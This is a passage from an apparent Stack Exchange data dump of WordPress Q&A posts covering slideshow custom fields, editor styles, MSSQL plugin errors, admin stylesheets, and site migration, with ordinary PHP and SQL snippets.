src=&quot;test.jpg&quot;&amp;gt;   &#xA; &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The code to print, for instance slide1's image, would be something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;img src=&quot;&amp;lt;?php echo wp_get_attachment_url($slide1); ?&amp;gt;&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="394" LastActivityDate="2010-09-21T17:41:14.937" Title="Best way of getting a a series of custom fields into an array?" Tags="&lt;jquery&gt;&lt;php&gt;" AnswerCount="2" />
  <row Id="2055" PostTypeId="2" ParentId="2031" CreationDate="2010-09-21T17:06:30.687" Score="0" ViewCount="" Body="&lt;p&gt;To build on Rarst's last comment, your slideshow posts would just belong to a single category (or none at all), and you would create a custom field and custom value for posts that are to be included in the slideshow.  Then use 'meta_key' and 'meta_value' in your call to query_posts().&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;query_posts('meta_key=includeInSlideshow&amp;amp;meta_value=true');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In this example, you create a custom field called 'includeInSlideshow' and write in 'true' in the value textbox in the write post area.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can let WP's default query populate The Loop on your index page as normal.&lt;/p&gt;&#xA;" OwnerUserId="58" LastActivityDate="2010-09-21T17:06:30.687" />
  <row Id="2056" PostTypeId="2" ParentId="2054" CreationDate="2010-09-21T17:16:25.920" Score="1" ViewCount="" Body="&lt;p&gt;This way of wokring with slides seems to be as popular as it is terrible... :) I coded &lt;a href=&quot;http://themehybrid.com/support/topic/hard-coding-the-nextpage-tag-into-my-theme#post-46016&quot; rel=&quot;nofollow&quot;&gt;something very much like this&lt;/a&gt; recently. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basic idea, adjust as needed:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$id = get_the_ID();&#xA;$slides = array();&#xA;$i = 1;    &#xA;&#xA;foreach( get_post_custom_keys( $id ) as $key )&#xA;    if ( false !== strpos( $key, 'slide' ) )&#xA;        $slides[$key] = get_post_meta( $id, $key, true);&#xA;&#xA;while( isset( $slides[&quot;slide{$i}&quot;] ) ) {&#xA;&#xA;    echo '&amp;lt;img src=&quot;' . wp_get_attachment_url( $slides[&quot;slide{$i}&quot;] ). '&quot; /&amp;gt;';&#xA;    $i++;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-09-21T17:16:25.920" />
  <row Id="2057" PostTypeId="2" ParentId="2054" CreationDate="2010-09-21T17:41:14.937" Score="1" ViewCount="" Body="&lt;p&gt;Are you open to saving slides as separate posts?  I've done this in the past.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Consider assigning posts to a page's slideshow with custom fields.  Create a post for each picture in which you create a custom field key of &quot;slide_show_for&quot;, and write in the parent page ID.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;slide_show_for =&amp;gt; 29&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Wherever you call your slideshow, use this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;query_posts('meta_key=slide_show_for&amp;amp;meta_value='.$wp-&amp;gt;query_vars['p']);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you need strict control of the slide order, and you don't create the slide posts in the order that you wish to display them, I recommend &lt;a href=&quot;http://wordpress.org/extend/plugins/postmash/&quot; rel=&quot;nofollow&quot;&gt;postMash plugin&lt;/a&gt; to order posts with a drag and drop interface.  This plugin doesn't come with the ability to choose which category of posts you wish to order.  It's options panel will default to showing all posts.  I've hacked the plugin code to hardcode whatever category I wish to edit.  that may be beyond your comfort zone, and maybe there's another way of controlling the order, like manually editing each post's menu_order from phpmyadmin.&lt;/p&gt;&#xA;" OwnerUserId="58" LastActivityDate="2010-09-21T17:41:14.937" />
  <row Id="2058" PostTypeId="2" ParentId="1987" CreationDate="2010-09-21T17:47:19.853" Score="0" ViewCount="" Body="&lt;p&gt;I assume you mean using MVC as cakePHP and codeigniter do, not 'use an MVC framework' to create a plugin or theme.  The second option would require users to download the framework you used as well as the extension files.  &lt;/p&gt;&#xA;" OwnerUserId="58" LastActivityDate="2010-09-21T17:47:19.853" />
  <row Id="2059" PostTypeId="1" AcceptedAnswerId="2063" CreationDate="2010-09-21T17:49:01.007" Score="0" ViewCount="118" Body="&lt;p&gt;Does word press show me if I'm logged in in another location?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Related: &lt;a href=&quot;http://wordpress.stackexchange.com/questions/4259/limiting-sessions-to-one-ip-at-a-time&quot;&gt;Limiting sessions to one IP at a time&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="963" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-02-04T11:45:10.563" LastActivityDate="2011-02-04T11:45:10.563" Title="Login security question - Does WP show me if I'm logged in from multiple locations?" Tags="&lt;security&gt;&lt;login&gt;&lt;ip&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="0" />
  <row Id="2060" PostTypeId="1" AcceptedAnswerId="2065" CreationDate="2010-09-21T17:50:44.413" Score="0" ViewCount="65" Body="&lt;p&gt;Are there any known privilege escalation bugs in WP 2.9 to be careful for?&lt;/p&gt;&#xA;" OwnerUserId="963" LastActivityDate="2010-09-21T18:47:12.883" Title="Privilege escalation bugs in 2.9?" Tags="&lt;security&gt;&lt;permissions&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="2061" PostTypeId="2" ParentId="2013" CreationDate="2010-09-21T17:50:55.487" Score="1" ViewCount="" Body="&lt;p&gt;You are asking for a lot in a pre-built theme!  I'd shoot for getting 1/4 of that built in and building the rest myself.  Anyway, I spent about 30 seconds and found this:  &lt;a href=&quot;http://themes.sandboxdev.com/lucidity-catalog/&quot; rel=&quot;nofollow&quot;&gt;http://themes.sandboxdev.com/lucidity-catalog/&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe it is the beginning to your solution.&lt;/p&gt;&#xA;" OwnerUserId="58" LastActivityDate="2010-09-21T17:50:55.487" CommentCount="1" />
  <row Id="2062" PostTypeId="1" CreationDate="2010-09-21T18:01:18.823" Score="0" ViewCount="220" Body="&lt;p&gt;I am creating my own CMS as per client requirements but it is not similar to wordpress or more of a blogging platform, rather it is more similar to joomla.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The client has asked me to create a templating system like wordpress; for example they can be made under some defined rules and activated from admin side similar to wordpress.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;How to create templating system similar to wordpress?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="964" LastActivityDate="2010-09-21T18:06:48.597" ClosedDate="2010-09-21T21:21:00.903" Title="How to create template system similar to wordpress?" Tags="&lt;3.0&gt;&lt;themes&gt;&lt;template&gt;&lt;php&gt;" AnswerCount="1" CommentCount="3" />
  <row Id="2063" PostTypeId="2" ParentId="2059" CreationDate="2010-09-21T18:02:39.297" Score="3" ViewCount="" Body="&lt;p&gt;When WordPress logs you in, it creates a cookie on your system to keep you logged in if you want.  However, being logged in from another location doesn't have much meaning in this context.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you go back to your WP site, WordPress will check for the existence of this authentication cookie on your system.  If it's there and valid, you'll be logged in.  If it's missing or invalid, you'll have to log in again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, WordPress doesn't track if you're logged in on one machine versus another at the same time.  You could probably set up a plug-in of some sort to track which users are logged in using sessions or &lt;a href=&quot;http://codex.wordpress.org/Transients_API&quot; rel=&quot;nofollow&quot;&gt;transients&lt;/a&gt; ... but this isn't WordPress' default behavior.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2010-09-21T18:02:39.297" CommentCount="2" />
  <row Id="2064" PostTypeId="2" ParentId="2062" CreationDate="2010-09-21T18:06:48.597" Score="1" ViewCount="" Body="&lt;p&gt;My recommendation would be to use a system like &lt;a href=&quot;http://backpress.org/&quot; rel=&quot;nofollow&quot;&gt;BackPress&lt;/a&gt; to augment/support your custom CMS.  It contains most of the core functionality of WordPress and lets you implement certain features (like themes, plugins, or xml-rpc) without reinventing the wheel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said ... why aren't you using WordPress?  The current version is more of a CMS than a blogging platform, and you can add/modify/remove features with plug-ins fairly easily to make it do what you want.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2010-09-21T18:06:48.597" CommentCount="3" />
  <row Id="2065" PostTypeId="2" ParentId="2060" CreationDate="2010-09-21T18:40:56.187" Score="2" ViewCount="" Body="&lt;h2&gt;There are no known security vulnerabilities in 2.9.2&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;If any new vulnerabilities are discovered the fix will be packported. (This has not happened but if it did we would get a version 2.9.3)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;WordPress does not have a backport policy that goes further than the previous major release so it is unknown when the 2.9 branch will stop being supported.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;WordPress does not maintain lts versions.  Matt likes to call them &lt;a href=&quot;http://lists.automattic.com/pipermail/wp-hackers/2010-June/032483.html&quot; rel=&quot;nofollow&quot;&gt;Long Term Suckage&lt;/a&gt; and most in the community agree that there is really no reason to keep running out dated versions.&lt;/p&gt;&#xA;" OwnerUserId="251" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2010-09-21T18:47:12.883" LastActivityDate="2010-09-21T18:47:12.883" CommentCount="2" />
  <row Id="2066" PostTypeId="1" CreationDate="2010-09-21T18:41:03.270" Score="0" ViewCount="203" Body="&lt;p&gt;Does anyone know a proper sitemap plugin for WordPress that works with MS Sql?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the error I get:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Array ( &#xA;    [0] =&amp;gt; Array ( &#xA;        [0] =&amp;gt; 42000 &#xA;        [SQLSTATE] =&amp;gt; 42000 &#xA;        [1] =&amp;gt; 402 &#xA;        [code] =&amp;gt; 402 &#xA;        [2] =&amp;gt; [Microsoft][SQL Server Native Client 10.0][SQL Server]The data types text and varchar are incompatible in the equal to operator. &#xA;        [message] =&amp;gt; [Microsoft][SQL Server Native Client 10.0][SQL Server]The data types text and varchar are incompatible in the equal to operator. &#xA;    ) &#xA;) &#xA;WordPress database error: [1]&#xA;SELECT post_id FROM wp_postmeta, wp_posts WHERE ID = post_id AND meta_key = '_wp_old_slug' AND meta_value='sitemap'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I get this error with Google XML Sitemaps plugin.... any ideas?&lt;/p&gt;&#xA;" OwnerUserId="965" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2010-09-23T14:39:27.593" LastActivityDate="2010-09-23T14:39:27.593" Title="WordPress Sitemap for MSSQL" Tags="&lt;plugins&gt;&lt;seo&gt;&lt;microsoft&gt;" AnswerCount="1" CommentCount="3" />
  <row Id="2067" PostTypeId="1" AcceptedAnswerId="2068" CreationDate="2010-09-21T18:54:49.560" Score="1" ViewCount="464" Body="&lt;p&gt;Why is the visual editor in Wordpress is limiting the width by wrapping the content?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found this behavior in the editor at least annoying, it does prevent me from using my screen real estate.&lt;/p&gt;&#xA;" OwnerUserId="944" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2010-09-23T14:14:29.783" LastActivityDate="2010-09-23T14:14:29.783" Title="Why is the visual editor in WordPress limiting the width by wrapping the content?" Tags="&lt;editor&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="2068" PostTypeId="2" ParentId="2067" CreationDate="2010-09-21T20:18:28.730" Score="6" ViewCount="" Body="&lt;p&gt;Hazarding a guess at what you really mean, I suppose you mean something like this is happening:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/tT1u5.png&quot; alt=&quot;Word Wrapping&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If that is what you're referring to, that's because your theme has an &lt;code&gt;editor-style.css&lt;/code&gt; stylesheet that's getting used in the visual editor. Somewhere inside that stylesheet is something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;html .mceContentBody {&#xA;    max-width:640px;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Removing that or modifying the &lt;code&gt;max-width&lt;/code&gt; value will let you customize that. The other option is to remove the stylesheet altogether. To do that, find this line of code in your theme (probably in &lt;code&gt;functions.php&lt;/code&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_editor_style();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and remove it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this was not at all your problem, I apologize and would love some clarification.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;EDIT&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Since it looks like WordPress loads your stylesheet before it loads the template stylesheet, there are two ways to override styles. First (and easiest): make your style important:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;html .mceContentBody {&#xA;  max-width: none !important;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To stop the editor from loading the parent styles at all, you could add this to your theme's functions.php file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function get_rid_of_editor_styles(){&#xA;  global $editor_styles;&#xA;  if(is_array($editor_styles))&#xA;    foreach($editor_styles as $e)&#xA;      $e = 'editor-style.css' == $e ? '' : $e;&#xA;}&#xA;add_action('init','get_rid_of_editor_styles');&#xA;&#xA;function add_my_own_editor_styles(){&#xA;  add_editor_style( 'custom-editor-style.css' );&#xA;}&#xA;add_action('after_setup_theme','add_my_own_editor_styles');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then in your child theme, use &lt;code&gt;custom-editor-style.css&lt;/code&gt; as your child theme's editor stylesheet instead of &lt;code&gt;editor-style.css&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please note, this last part of the answer would not be the best solution for everybody. I'm only offering it because I know that you are using a child theme using twentyten as the template.&lt;/p&gt;&#xA;" OwnerUserId="11" LastEditorUserId="11" LastEditorDisplayName="" LastEditDate="2010-09-23T14:02:09.617" LastActivityDate="2010-09-23T14:02:09.617" CommentCount="3" />
  <row Id="2069" PostTypeId="2" ParentId="2066" CreationDate="2010-09-21T22:20:35.113" Score="1" ViewCount="" Body="&lt;p&gt;When I look at your error message, I get the impression that you're running WordPress off a MS SQL database rather than a MySQL database.  That's fine, but it makes things a bit tricky from a support perspective because the two database platforms are, in fact, different.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, the error message you're getting is stating that the &lt;code&gt;text&lt;/code&gt; and &lt;code&gt;varchar&lt;/code&gt; datatypes are incompatible, yet the SQL statement the plug-in is trying to run is using an equality operator.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, the &lt;code&gt;meta_key&lt;/code&gt; and &lt;code&gt;meta_value&lt;/code&gt; fields are &lt;code&gt;text&lt;/code&gt; datatypes but the values you're matching against (&lt;code&gt;_wp_old_slug&lt;/code&gt; and &lt;code&gt;sitemap&lt;/code&gt;) are &lt;code&gt;varchar&lt;/code&gt;.  You can't use a simple equality operator to check if they're similar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Considering that this is a problem you'll face with just about any plug-in that accesses the WP database directly, I am going to recommend in &lt;strong&gt;&lt;em&gt;the strongest possible terms&lt;/em&gt;&lt;/strong&gt; that you migrate your site to a MySQL setup.  MySQL is free, and if you're already running PHP on your server you should be able to run MySQL as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, you could rewrite the portion of the plugin that makes the database call to cast your search strings at text:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT post_id FROM wp_postmeta, wp_posts WHERE ID = post_id AND meta_key = CAST('_wp_old_slug' AS text) AND meta_value=CAST('sitemap' AS text)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Please note that dynamically recasting variable types in SQL statements is not my strong point and you should test this solution against a development system before deploying it in a production environment.  I offer no guarantees!&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for an alternative plugin that will work in a MS SQL environment, I can offer no suggestions.  Any plugin runs the risk of interacting with the database directly (i.e. trying to run a query on the database without passing it through the &lt;code&gt;$wpdb&lt;/code&gt; abstraction layer).  So unless you want to hire a developer to look through the code first, or just learn by trial and error which plugins will work, then you're generally out of luck.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2010-09-21T22:20:35.113" />
  <row Id="2070" PostTypeId="2" ParentId="1987" CreationDate="2010-09-21T22:22:15.990" Score="2" ViewCount="" Body="&lt;p&gt;You asked multiple questions at once:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Q: I think, the wordpress plug-in architecture is not MVC.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A: Yes, that's true. It's not MVC in the Design Pattern Sense. It's MVC in a more general view: Model: Mysql, View: HTML/CSS, Controller: PHP. Main Frontend Controller is index.php, Commands are HTTP requests. The router is .htaccess (if you use pretty permalinks), the 404 controller (if you use that one) or index.php if you use the standard setup.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Q: So I want to use/do the MVC architecture in WordPress plug-in development (like cakephp, codeIgniter ). How can I use them in plguin development. Does WordPress support CakePHP, or other frameworks?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A: No, Wordpress does not support CakePHP or CodeIgniter out of the box. You can write an adapter for codeIgniter or Cake so that you can re-use an existing MVC (e.g. by encapsulating the HTTP Request and removing the slashes from request variables / the superglobals). But you can overrider Wordpress as well to just run any other PHP Framework Application as well, e.g. by adding rewriterules to the .htaccess and adding php files. It just depends on what you want to do.&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2010-09-21T22:22:15.990" />
  <row Id="2071" PostTypeId="2" ParentId="1987" CreationDate="2010-09-22T00:30:17.657" Score="2" ViewCount="" Body="&lt;p&gt;You could definitely use an MVC philosophy in the development of a plugin, but you would be really silly to try to incorporate CI or Cake in addition to WP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For instance, you could build out a plugin using the following pseudo structure (FYI, there are a ton of ways to build this, depending on your interpretation of MVC. This is just the quick example that pops into mind):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class Plugin(){&#xA;    function __construct(){ // controller?&#xA;        run conditionals/determine query&#xA;        process model&#xA;        process view&#xA;    }&#xA;    function model(){ &#xA;        get query from database &#xA;        return variables&#xA;    }&#xA;    function view(){&#xA;        echo html&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This might be a horrible example of a plugin structure, or even of MVC, but it is simply to illustrate that &lt;code&gt;MVC architecture !== MVC frameworks&lt;/code&gt; and that MVC can be used in plugin design. Widget classes and other functionality throughout WP are similar, although without any explicit separation of concerns.&lt;/p&gt;&#xA;" OwnerUserId="10" LastActivityDate="2010-09-22T00:30:17.657" CommentCount="1" />
  <row Id="2072" PostTypeId="1" AcceptedAnswerId="2076" CreationDate="2010-09-22T00:44:10.063" Score="1" ViewCount="319" Body="&lt;p&gt;I am not sure how many of you have experimented with the new custom header image functionality of wordpress 3.0 but its actually very cool (enabled by adding the function to your functions.php file).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One of the key things which I find to be extremely useful is that it allows you to upload an image and on step 2 it actually places the image on the admin page and shows you a crop box based upon the header image width/height which was defined in your functions.php file. You now have the ability to move the box around or proportionally increase/decrease the size of the area you want to use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem that I am having here is that I would like to utilize this functionality with my own custom post type. More specifically, I am just looking for the ability to include the upload functionality, defining the width/height and the select/cropping functionality once the image was uploaded. My thoughts are that if someone can show this can be done then I can create all the other functionality I am looking for by adding this to a custom post type and associating custom metaboxes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone provide a solution here?&lt;/p&gt;&#xA;" OwnerUserId="479" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2010-09-23T14:38:46.703" LastActivityDate="2010-09-23T14:38:46.703" Title="Using Default WordPress Custom Header Image Crop Feature in a Post Type / MetaBox" Tags="&lt;custom-post-types&gt;&lt;media&gt;&lt;overridable-functions&gt;&lt;functions&gt;" AnswerCount="1" FavoriteCount="3" />
  <row Id="2073" PostTypeId="1" AcceptedAnswerId="3755" CreationDate="2010-09-22T02:15:28.503" Score="3" ViewCount="512" Body="&lt;p&gt;I am creating a custom theme with a theme options page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to style the options page and do not want to include inline styles. Is there any way to include an external stylesheet from say &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;TEMPLATEPATH . '/css/admin.css'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have also found this chunk of code and it seems to work - &lt;a href=&quot;http://www.onextrapixel.com/2009/07/01/how-to-design-and-style-your-wordpress-plugin-admin-panel/&quot; rel=&quot;nofollow&quot;&gt;link&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function admin_register_head() {&#xA; $siteurl = get_option('siteurl');&#xA; $url = $siteurl . '/wp-content/plugins/' . basename(dirname(__FILE__)) . '/yourstyle.css';&#xA; echo &quot;&amp;lt;link rel='stylesheet' type='text/css' href='$url' /&amp;gt;\n&quot;;&#xA;}&#xA;add_action('admin_head', 'admin_register_head');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What is the best way?&lt;/p&gt;&#xA;" OwnerUserId="496" LastActivityDate="2010-11-10T00:23:03.703" Title="Including CSS and JS on Admin Screen of Custom Theme Options" Tags="&lt;theme-development&gt;&lt;admin&gt;" AnswerCount="4" FavoriteCount="4" />
  <row Id="2074" PostTypeId="2" ParentId="2073" CreationDate="2010-09-22T02:38:41.467" Score="1" ViewCount="" Body="&lt;p&gt;Yea I am answering my own question ... but I did get it to work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add this action to your theme's functions.php file&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function admin_register_head() {&#xA;    $url = get_bloginfo('template_directory') . '/css/admin.css';&#xA;    echo &quot;&amp;lt;link rel='stylesheet' type='text/css' href='$url' /&amp;gt;\n&quot;;&#xA;}&#xA;add_action('admin_head', 'admin_register_head');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="496" LastActivityDate="2010-09-22T02:38:41.467" CommentCount="1" />
  <row Id="2075" PostTypeId="1" AcceptedAnswerId="2079" CreationDate="2010-09-22T02:49:39.943" Score="2" ViewCount="246" Body="&lt;p&gt;I have recently imported an image gallery to a clean WP install as I am deploying the site to a live domain.  I have imported the posts but the images use the medium size for attachements.  I would like to get these all to revert to the settings I had set up in the development install.&lt;br&gt;&#xA;&lt;br/&gt;Does anyone have a idea on how to change the size on already imported image attachements?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;J&lt;/p&gt;&#xA;" OwnerUserId="874" LastActivityDate="2010-12-27T15:41:13.340" Title="Importing media medium setting image gallery / image attachments" Tags="&lt;3.0&gt;&lt;images&gt;&lt;attachments&gt;&lt;import&gt;&lt;image-size&gt;" AnswerCount="2" />
  <row Id="2076" PostTypeId="2" ParentId="2072" CreationDate="2010-09-22T03:01:41.843" Score="2" ViewCount="" Body="&lt;p&gt;Take a look into &lt;code&gt;/wp-admin/custom-header.php&lt;/code&gt;. You may extend the class &lt;code&gt;Custom_Image_Header&lt;/code&gt; and adjust it to your needs.&lt;/p&gt;&#xA;" OwnerUserId="73" LastActivityDate="2010-09-22T03:01:41.843" CommentCount="1" />
  <row Id="2077" PostTypeId="2" ParentId="1463" CreationDate="2010-09-22T03:12:54.663" Score="0" ViewCount="" Body="&lt;p&gt;WordPress has a build in functionality for this. Add the following code to the functions.php of your theme:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( ! isset( $content_width ) )&#xA;    $content_width = 620;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;All new images will be scaled down now.&lt;/p&gt;&#xA;" OwnerUserId="73" LastActivityDate="2010-09-22T03:12:54.663" CommentCount="1" />
  <row Id="2078" PostTypeId="2" ParentId="2073" CreationDate="2010-09-22T05:08:20.777" Score="3" ViewCount="" Body="&lt;p&gt;WP provides queues for scripts and styles. It allows to version URLs, automatically load dependencies, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_enqueue_style#Load_stylesheets_only_on_plugin_pages&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp enqueue style()&lt;/code&gt;&lt;/a&gt; in Codex for how to properly register your style and load only where you need it (at your custom page and not all of admin area).&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-09-22T05:08:20.777" />
  <row Id="2079" PostTypeId="2" ParentId="2075" CreationDate="2010-09-22T05:59:06.323" Score="3" ViewCount="" Body="&lt;p&gt;You can use this plugin: &lt;a href=&quot;http://wordpress.org/extend/plugins/regenerate-thumbnails/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/regenerate-thumbnails/&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="473" LastActivityDate="2010-09-22T05:59:06.323" />
  <row Id="2080" PostTypeId="1" AcceptedAnswerId="2106" CreationDate="2010-09-22T06:15:01.740" Score="3" ViewCount="233" Body="&lt;p&gt;Currently, I have a blog that runs atop Tumblr, which is relatively young (3 months old or so, maybe 25 posts altogehter) that I want to migrate to a self-hosted Wordpress installation. I've installed and configured Wordpress many, many times, but I've never been able to figure this out. Here's what I'd like to do, ideally:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;First, keep the existing blog up and active during the entire process&lt;/li&gt;&#xA;&lt;li&gt;Install Wordpress somewhere public and migrate the content either by hand or using an import tool of some kind&lt;/li&gt;&#xA;&lt;li&gt;Install whichever theme I end up using, customize the crap out of it&lt;/li&gt;&#xA;&lt;li&gt;Switch the DNS for my domain so that users gradually begin to see the fully built and migrated Wordpress site instead of the Tumblr site.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Here are the problems with this as I understand them:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I won't be able to install the Wordpress blog within the domain in which it will ultimately live because that domain points somewhere else. For this reason, I'll need to install it on a different domain (test.realdomain.com or something) and do all of the import and theme dev stuff there. The bad part here is that Wordpress uses the post's full URL as it's GUID, so I'll have to hand-edit the database so that each post, page and media asset lives at realdomain.com instead of test.realdomain.com.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm wondering if, in all of my Wordpress travels, I've somehow missed a super easy solution to this problem. For a product as mature as Wordpress, I find it hard to believe that there's no easy way to, say, build a site in a staging environment and deploy it to production without have to manually edit database tables.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any assistance offered would be greatly appreciated, and feel free to let me know if I've left out any details that would help clarify anything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="954" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2010-09-23T14:41:07.343" LastActivityDate="2010-10-17T22:49:20.663" Title="How can I migrate from another platform to WordPress (using the same domain) and launch when ready?" Tags="&lt;database&gt;&lt;migration&gt;" AnswerCount="6" />
  <row Id="2081" PostTypeId="2" ParentId="2080" CreationDate="2010-09-22T06:35:42.520" Score="1" ViewCount="" Body="&lt;p&gt;Disclaimer - my experience only involves moving WP around.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First go over &lt;a href=&quot;http://codex.wordpress.org/Changing_The_Site_URL&quot; rel=&quot;nofollow&quot;&gt;Changing The Site URL&lt;/a&gt;, it properly covers how WP stores and reacts to changes in URL as well as some tricks that make it easier.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The bad part here is that Wordpress uses the post's full URL as it's GUID, so I'll have to hand-edit the database so that each post, page and media asset lives at realdomain.com instead of test.realdomain.com.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Ignore that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;GUIDs are not meant and not used for front-end display. They act as extensive identifiers (in feeds for example), but real links that get displayed on site are formed completely separately.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have local test stack - posts imported from blog have GUIDs with real domain, but run perfectly fine on &lt;code&gt;localhost&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-09-22T06:35:42.520" />
